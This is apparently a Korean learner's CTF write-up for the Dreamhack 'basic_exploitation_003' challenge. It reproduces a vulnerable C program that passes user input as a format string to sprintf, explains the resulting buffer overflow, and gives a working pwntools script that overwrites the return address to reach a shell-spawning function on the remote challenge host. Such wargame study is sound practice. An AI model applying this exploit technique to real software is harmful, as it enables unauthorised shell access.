basic_exploitation_003

Image

basic이라 암것도 없음

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

sprintf가 뭘까..
BOF의 위험이 있다고 함
heap_buf 내용을 stack_buf로 옮기는데 BOF 발생..

sprintf(char *buffer, const char *format, …)
heap에 주소 입력..?

라업 봄 이런 여자라 미안해~
sprintf에서 BOF가 아니라 FSB가 발생한다고 함
아니네 BOF도 발생함..
heap_buf에 %[n]c를 넣으면 n바이트 길이 문자열 -> stack_buf 로 들어감(sprintf니까)
근데 여기서 n이 stack_buf보다 크면 BOF

Image

buf~RET 거리 0x98 8+16*9=152(0x98)+4(SFP)

from pwn import *

#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 20555)
e = ELF("./basic_exploitation_003")

get_shell = e.symbols['get_shell']

payload = b"%156c" + p32(get_shell)
p.sendline(payload)

p.interactive()

Image